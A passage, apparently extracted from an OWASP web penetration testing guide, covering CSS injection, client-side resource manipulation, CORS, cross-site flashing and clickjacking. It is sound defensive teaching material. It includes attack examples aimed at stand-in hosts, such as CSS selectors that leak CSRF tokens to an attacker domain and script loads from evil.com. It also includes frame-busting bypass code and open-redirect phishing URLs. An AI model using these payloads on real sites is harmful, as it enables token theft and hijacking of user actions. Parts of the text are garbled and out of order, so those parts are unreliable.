characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs
variants as described here: http://kotowicz.net/absolute/

Tools

• DOMinator - https://dominator.mindedsecurity.com/
References
OWASP Resources
• DOM based XSS Prevention Cheat Sheet
• DOMXSS.com - http://www.domxss.com
Whitepapers
• Browser location/document URI/URL Sources - https://code
• i.e., what is returned when you ask the browser for things
like document.URL, document.baseURI, location, location.
href, etc.
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on
the loose” - http://kotowicz.net/absolute/

Testing for CSS Injection (OTG-CLIENT-005)

Summary
A CSS Injection vulnerability involves the ability to inject arbitrary
CSS code in the context of a trusted web site, and this will be
rendered inside the victim’s browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it
could lead to Cross-Site Scripting in particular circumstances, to
data exfiltration in the sense of extracting sensitive data or to UI
modifications.
How to Test
Such a vulnerability occurs when the application allows to supply
user-generated CSS or it is possible to somehow interfere with
the legit stylesheets. Injecting code in the CSS context gives the
attacker the possibility to execute JavaScript in certain conditions
as well as extracting sensitive values through CSS selectors and
functions able to generate HTTP requests. Actually, giving the
users the possibility to customize their own personal pages by
using custom CSS files results in a considerable risk, and should
be definitely avoided.
The following JavaScript code shows a possible vulnerable
script in which the attacker is able to control the “location.hash”
(source) which reaches the “cssText” function (sink). This particular case may lead to DOMXSS in older browser versions, such as

Opera, Internet Explorer and Firefox; for reference see DOM XSS
Wiki, section “Style Sinks”.
Click me

if (location.hash.slice(1)) {
document.getElementById(“a1”).style.cssText = “color: “ +
location.hash.slice(1);
}

Specifically the attacker could target the victim by asking her to
visit the following URLs:
The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

p{
color: <?php echo _GET[‘color’]; ?>; text-align: center; } Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, input[name=csrf_token][value=^a] represents an element with the attribute “name” set “csrf_token” and whose attribute “value” starts with “a”. By detecting the length of the attribute “value”, it is possible to carry out a brute force attack against it and send its value to the attacker’s domain. input[name=csrf_token][value=^a] { background-image: url(http://attacker/log?a); } Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details. Black Box testing We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like “link” and “style” should be disallowed, as well 193 Web Application Penetration Testing as attributes “style”. Gray Box testing Testing for CSS Injection vulnerabilities: Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. The following is a basic example: Click me Hi(“a”).click(function(){
$(“b”).attr(“style”,”color: “ + location.hash.slice(1)); }); The above code contains a source “location.hash” that is controlled by the attacker that can inject directly in the attribute “style” of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. Click me Hi$(“a”).click(function(){
$(“b”).css(“color”,location.hash.slice(1)); }); References OWASP Resources • DOM based XSS Prevention Cheat Sheet • DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki CssText Presentations • DOM Xss Identification and Exploitation, Stefano Di Paola h t t p : //d o m i n a t o r. g o o g l e c o d e . c o m / f i l e s / D O M X s s _ Identification_and_exploitation.pdf • Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/ watch?v=FIQvAaZj_HA • Bypassing Content-Security-Policy, Alex Kouzemtchenko http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx Proof of Concepts • Password “cracker” via CSS and HTML5 - http://html5sec.org invalid/?length=25 • CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/ Testing for Client Side Resource Manipulation (OTG-CLIENT-006) Summary A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks. How to Test Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application’s behavior in the sense of making it load and render malicious objects. The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the “location.hash” (source) which reaches the attribute “src” of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site. var d=document.createElement(“script”); if(location.hash.slice(1)) d.src = location.hash.slice(1); document.body.appendChild(d); Specifically the attacker could target the victim by asking her to visit the following URL: www.victim.com/#http://evil.com/js.js Where js.js contains: alert(document.cookie) Controlling scripts’ sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. Refer to the following vulnerable code: 194 Web Application Penetration Testing function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); xhr.open(method, url, true); xhr.onreadystatechange = function () { if (this.status == 200 && this.readyState == 4) { document.getElementById(‘p’).innerHTML = this.responseText; } }; return xhr; } var xhr = createCORSRequest(‘GET’, location.hash.slice(1)); xhr.send(null); The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler. Exploit URL: www.victim.com/#http://evil.com/html.html Gray Box testing Testing for Client Side Resource Manipulation vulnerabilities: To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues. The following table shows the possible injection points (sink) that should be checked: Sink Frame iframe src Link a href AJAX Request xhr.open(method, [url], true); URL CSS link Sink Image img Object object src Script script data src The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/ Tools • DOMinator - https://dominator.mindedsecurity.com/ References OWASP Resources • DOM based XSS Prevention Cheat Sheet • DOMXSS.com - http://www.domxss.com • DOMXSS TestCase - http://www.domxss.com/domxss/01 Basics/04_script_src.html Test Cross Origin Resource Sharing (OTG-CLIENT-007) Black Box testing Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Tag/Method Tag/Method Whitepapers • DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki LocationSources • Krzysztof Kotowicz: “Local or External? Weird URL formats on the loose” - http://kotowicz.net/absolute/ http://evil.com/html.html --- alert(document.cookie); Resource Resource href Summary Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform “cross-domain” requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy. Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers. The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not. 195 Web Application Penetration Testing How to Test Origin & Access-Control-Allow-Origin The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data. Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header. From a penetration testing perspective you should look for insecure configurations as for example using a ‘*’ wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone. Access-Control-Request-Method & Access-Control-Allow-Method The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use. Access-Control-Request-Headers & Access-Control-Allow-Headers These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request. Access-Control-Allow-Credentials This header as part of a preflight request indicates that the final request can include user credentials. Input validation XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input. Other headers There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document. Black Box testing Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Gray Box testing Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples: Example 1: Insecure response with wildcard ‘*’ in Access-Control-Allow-Origin: Request (note the ‘Origin’ header:) GET http://attacker.bar/test.php HTTP/1.1 Host: attacker.bar User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/CORSexample1.html Origin: http://example.foo Connection: keep-alive Response (note the ‘Access-Control-Allow-Origin’ header:) HTTP/1.1 200 OK Date: Mon, 07 Oct 2013 18:57:53 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.4-14+deb7u3 Access-Control-Allow-Origin: * Content-Length: 4 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: application/xml [Response Body] Example 2: Input validation issue, XSS with CORS: This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server. Vulnerable code: var req = new XMLHttpRequest(); req.onreadystatechange = function() { 196 Web Application Penetration Testing if(req.readyState==4 && req.status==200) { document.getElementById(“div1”).innerHTML=req. responseText; } } var resource = location.hash.substring(1); req.open(“GET”,resource,true); req.send(); For example, a request like this will show the contents of the profile.php file: http://example.foo/main.php#profile.php Request and response generated by this URL: GET http://example.foo/profile.php HTTP/1.1 Host: example.foo User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/main.php Connection: keep-alive HTTP/1.1 200 OK Date: Mon, 07 Oct 2013 18:20:48 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze17 Vary: Accept-Encoding Content-Length: 25 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html [Response Body] Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example. foo domain, with a URL like this: http://example.foo/main.php#http://attacker.bar/file.php Request and response generated by this URL: GET http://attacker.bar/file.php HTTP/1.1 Host: attacker.bar User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/main.php Origin: http://example.foo Connection: keep-alive HTTP/1.1 200 OK Date: Mon, 07 Oct 2013 19:00:32 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.4-14+deb7u3 Access-Control-Allow-Origin: * Vary: Accept-Encoding Content-Length: 92 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Injected Content from attacker.bar Tools • OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org index.php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. References OWASP Resources • OWASP HTML5 Security Cheat Sheet: https://www.owasp org/index.php/HTML5_Security_Cheat_Sheet Whitepapers • W3C - CORS W3C Specification: http://www.w3.org/TR/cors/ 197 Web Application Penetration Testing Testing for Cross site flashing (OTG-CLIENT-008) Summary ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design. ActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross-Site Scripting (XSS) could be present in flawed Flash applications. How to Test Since the first publication of “Testing Flash Applications” [1], new versions of Flash player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because they are the result of insecure programming practices. Decompilation Since SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analysed. The most known and free ActionScript 2.0 decompiler is flare. To decompile a SWF file with flare just type:$ flare hello.swf
it will result in a new file called hello.flr.
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HP’s free
SWFScan tool can decompile both ActionScript 2.0 and ActionScript
3.0 SWFScan
The OWASP Flash Security Project maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.
Undefined Variables FlashVars
FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from
the Object or Embed tag within the HTML. For instance:

FlashVars can also be initialized from the URL:
http://www.example.org/somefilename.swf?var1=val1&var2=val2
In ActionScript 3.0, a developer must explicitly assign the FlashVar
values to local variables. Typically, this looks like:
parameters;
var var1:String = String(paramObj[“var1”]);
var var2:String = String(paramObj[“var2”]);
In ActionScript 2.0, any uninitialized global variable is assumed to be
a FlashVar. Global variables are those variables that are prepended
by _root, _global or _level0. This means that if an attribute like:
_root.varname
is undefined throughout the code flow, it could be overwritten by
setting
http://victim/file.swf?varname=value
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let’s look at some ActionScript 2.0 code that is vulnerable:
Example:
movieClip 328 __Packages.Locale {
#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
if (success) {
var v3 = this.xliff.file.body.$trans_unit; var v2 = 0; while (v2 < v3.length) { Locale.strings[v3[v2]._resname] = v3[v2].source.__ text; ++v2; } on_load(); } else {} }; if (_root.language != undefined) { Locale.DEFAULT_LANG = _root.language; } 198 Web Application Penetration Testing v5.load(Locale.DEFAULT_LANG + ‘/player_’ + Locale.DEFAULT_LANG + ‘.xml’); }; The above code could be attacked by requesting: http://victim/file.swf?language=http://evil.example.org/malicious.xml? Unsafe Methods When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue. Unsafe Methods since version r47 are: loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load LoadVars.send XML.load ( ‘url’ ) LoadVars.load ( ‘url’ ) Sound.loadSound( ‘url’ , isStreaming ); NetStream.play( ‘url’ ); flash.external.ExternalInterface.call(_root.callback) htmlText The Test In order to exploit a vulnerability, the swf file should be hosted on the victim’s host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page: This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host. XSS GetURL (AS2) / NavigateToURL (AS3): The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser’s window. So if an undefined variable is used as the first argument for getURL: getURL(_root.URI,’_targetFrame’); Or if a FlashVar is used as the parameter that is passed to a naviga- teToURL function: var request:URLRequest = new URLRequest(FlashVarSuppliedURL); navigateToURL(request); Then this will mean it’s possible to call JavaScript in the same domain where the movie is hosted by requesting: http://victim/file.swf?URI=javascript:evilcode getURL(‘javascript:evilcode’,’_self’); The same when only some part of getURL is controlled: Dom Injection with Flash JavaScript injection getUrl(‘javascript:function(‘+_root.arg+’)) asfunction: You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField. This means that a tester could try to inject: asfunction:getURL,javascript:evilcode in every unsafe method like: loadMovie(_root.URL) by requesting: http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode ExternalInterface: ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0. From a security point of view it could be abused when part of its argument could be controlled: flash.external.ExternalInterface.call(_root.callback); the attack pattern for this kind of flaw should be something like the following: eval(evilcode) 199 Web Application Penetration Testing since the internal JavaScript which is executed by the browser will be something similar to: eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { “”; }’) HTML Injection TextField Objects can render minimal HTML by setting: tf.html = true tf.htmlText = ‘text’ So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser. Some attack examples with A Tag: • Direct XSS: • Call a function: • Call SWF public functions: • Call native static as function: IMG tag could be used as well: (.swf is necessary to bypass flash player internal filter) Note: since release Flash Player 9.0.124.0 of Flash player XSS is no longer exploitable, but GUI modification could still be accomplished. Cross-Site Flashing Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS. XSF Occurs when from different domains: • One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it • XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling: • GetVariable: access to flash public and static object from JavaScript as a string. • SetVariable: set a static or public flash object to a new string value from JavaScript. • Unexpected Browser to SWF communication could result in stealing data from the SWF application. It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the mod- ification of the GUI in order to fool a user to insert credentials on a fake flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used. Open redirectors SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link. In the Flash case, the malicious URL might look like: http://trusted.example.org/trusted.swf?getURLValue=http:// www.evil-spoofing-website.org/phishEndUsers.html In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call: getURL(_root.getURLValue,”_self”); This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website. From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website. Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol. Attacks and Flash Player Version Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described. Attack asfunction ExternalInterface GetURL Html Injection v9.0 r47/48 Yes v9.0 r115 No Yes Yes Yes Yes Yes Yes v9.0 r124 No Yes Yes Partially Player Version Result Expected: Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file. Tools • Adobe SWF Investigator: http://labs.adobe.com/technologies swfinvestigator/ • SWFScan: http://h30499.www3.hp.com/t5/Following 200 Web Application Penetration Testing the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/bap/5440167 • SWFIntruder: https://www.owasp.org/index.php Category:SWFIntruder • Decompiler – Flare: http://www.nowrap.de/flare.html • Compiler – MTASC: http://www.mtasc.org/ • Disassembler – Flasm: http://flasm.sourceforge.net/ • Swfmill – Convert Swf to XML and vice versa: http://swfmill org/ and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a “client side” security issue that affects a variety of browsers and platforms. To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker’s target website. • Debugger Version of Flash Plugin/Player: http://www.adobe com/support/flash/downloads.html References OWASP • OWASP Flash Security Project: The OWASP Flash Security project has even more references than what is listed below: http://www.owasp.org/index.php/Category:OWASP_Flash_ Security_Project Whitepapers • Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/ OWASPAppSec2007Milan_TestingFlashApplications.ppt • Finding Vulnerabilities in Flash Applications: http://www owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_ FindingVulnsinFlashApps.ppt • Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: http://www.adobe.com/devnet/ flashplayer/articles/flash_player9_security_update.html Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an “ad hoc” positioning of the elements in the web page. • Securing SWF Applications: http://www.adobe.com/devnet flashplayer/articles/secure_swf_apps.html • The Flash Player Development Center Security Section: http:/ www.adobe.com/devnet/flashplayer/security.html • The Flash Player 10.0 Security Whitepaper: http://www adobe.com/devnet/flashplayer/articles/flash_player10_ security_wp.html Testing for Clickjacking (OTG-CLIENT-009) Summary “Clickjacking” (which is a subset of the “UI redressing”) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term “Clickjacking” was coined by Jeremiah Grossman and Robert Hansen in 2008. A Clickjacking attack uses seemingly innocuous features of HTML The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed. How to Test As mentioned above, this type of attack is often designed to allow an attacker site to induce user’s actions on the target site even if anti-CSRF tokens are being used. So it’s important, like for the CSRF attack, to individuate web pages of the target site 201 Web Application Penetration Testing that it take input from the user. We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a “proof of concept” to exploit the vulnerability. The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe. To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet: Clickjack test page Website is vulnerable to clickjacking! Result Expected: If you can see both the text “Website is vulnerable to clickjacking!” at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a “proof of concept” to demonstrate that an attacker could exploit this vulnerability. Bypass Clickjacking protection: In case in which you only see the target site or the text “Website is vulnerable to clickjacking!” but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking. Methods to protect a web page from clickjacking can be divided in two macro-categories: • Client side protection: Frame Busting • Server side protection: X-Frame-Options In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them. Client side protection: Frame Busting The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. The structure of frame busting code typically consists of a “conditional statement” and a “counter-action” statement. For this type of protection, there are some work arounds that fall under the name of “Bust frame busting”. Some of this techniques are browser-specific while others work across browsers. Mobile website version Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users. From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors. Double Framing Some frame busting techniques try to break frame by assigning a value to the “parent.location” attribute in the “counter-action” statement. Such actions are, for example: • self.parent.location = document.location • parent.location.href = self.location • parent.location = self.location This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to “parent.location” becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation. Target site frame busting code (target site): if(top.location!=self.locaton) { parent.location = self.location; } Attacker’s top frame (fictitious2.html): Attacker’s fictitious sub-frame (fictitious.html): <iframe src=”http://target site”> Disabling javascript Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. There are three deactivation techniques that can be used with frames: 202 Web Application Penetration Testing • Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the “security” attribute that, if it is set to the value “restricted”, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame. Example: <iframe src=”http://target site” security=”restricted”></ iframe> • Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari. Example: <iframe src=”http://target site” sandbox> • Design mode: Paul Stone showed a security issue concerning the “designMode” that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and subframe. The design mode is currently implemented in Firefox and IE8. onBeforeUnload event The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget’s frame busting attempt. The attacker can use this attack by registering an unload event on the top page using the following example code: www.fictitious.site window.onbeforeunload = function() { return “ Do you want to leave fictitious.site?”; } The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a “HTTP/1.1 204 No Content” header. Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, ren- dering the original frame busting attempt futile. Following an example code: 204 page: <?php header(“HTTP/1.1 204 No Content”); ?> Attacker’s page: <script> var prevent_bust = 0; window.onbeforeunload = function() { prevent_bust++; }; setInterval( function() { if (prevent_bust > 0) { prevent_bust -= 2; window.top.location = “http://attacker.site/204.php”; } }, 1); </script> <iframe src=”http://target site”> XSS Filter Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code. • IE8 XSS filter: this filter has visibility into all requests and responses parameters flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters. Example: Target web page frame busting code: if ( top != self ) { top.location=self.location; } </script> Attacker code: <iframe src=”http://target site/?param=<script>if”> 203 Web Application Penetration Testing • Chrome 4.0 XSSAuditor filter: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact. Example: Target web page frame busting code: <script> if ( top != self ) { top.location=self.location; } </script> Attacker code: <iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”> Redefining location For several browser the “document.location” variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code. • Redefining location in IE7 and IE8: it is possible to redefine “location” as it is illustrated in the following example. By defining “location” as a variable, any code that tries to read or to navigate by assigning “top.location” will fail due to a security violation and so the frame busting code is suspended. Example: <script> var location = “xyz”; </script> <iframe src=”http://target site”> • Redefining location in Safari 4.0.4: To bust frame busting code with “top.location” it is possible to bind “location” to a function via defineSetter (through window), so that an attempt to read or navigate to the “top.location” will fail. responses and is used to mark web pages that shouldn’t be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY. The “X-FRAME-OPTIONS” is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability. Browser compatibility Since the “X-FRAME-OPTIONS” was introduced in 2009, this header is not compatible with old browser. So every user that doesn’t have an updated browser could be victim of clickjacking attack. Browser Lowest version Internet Explorer 8.0 Firefox (Gecko) 3.6.9 (1.9.2.9) Opera 10.50 Safari 4.0 Chrome 4.1.249.1042 Proxies Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the “X-FRAME-OPTIONS” 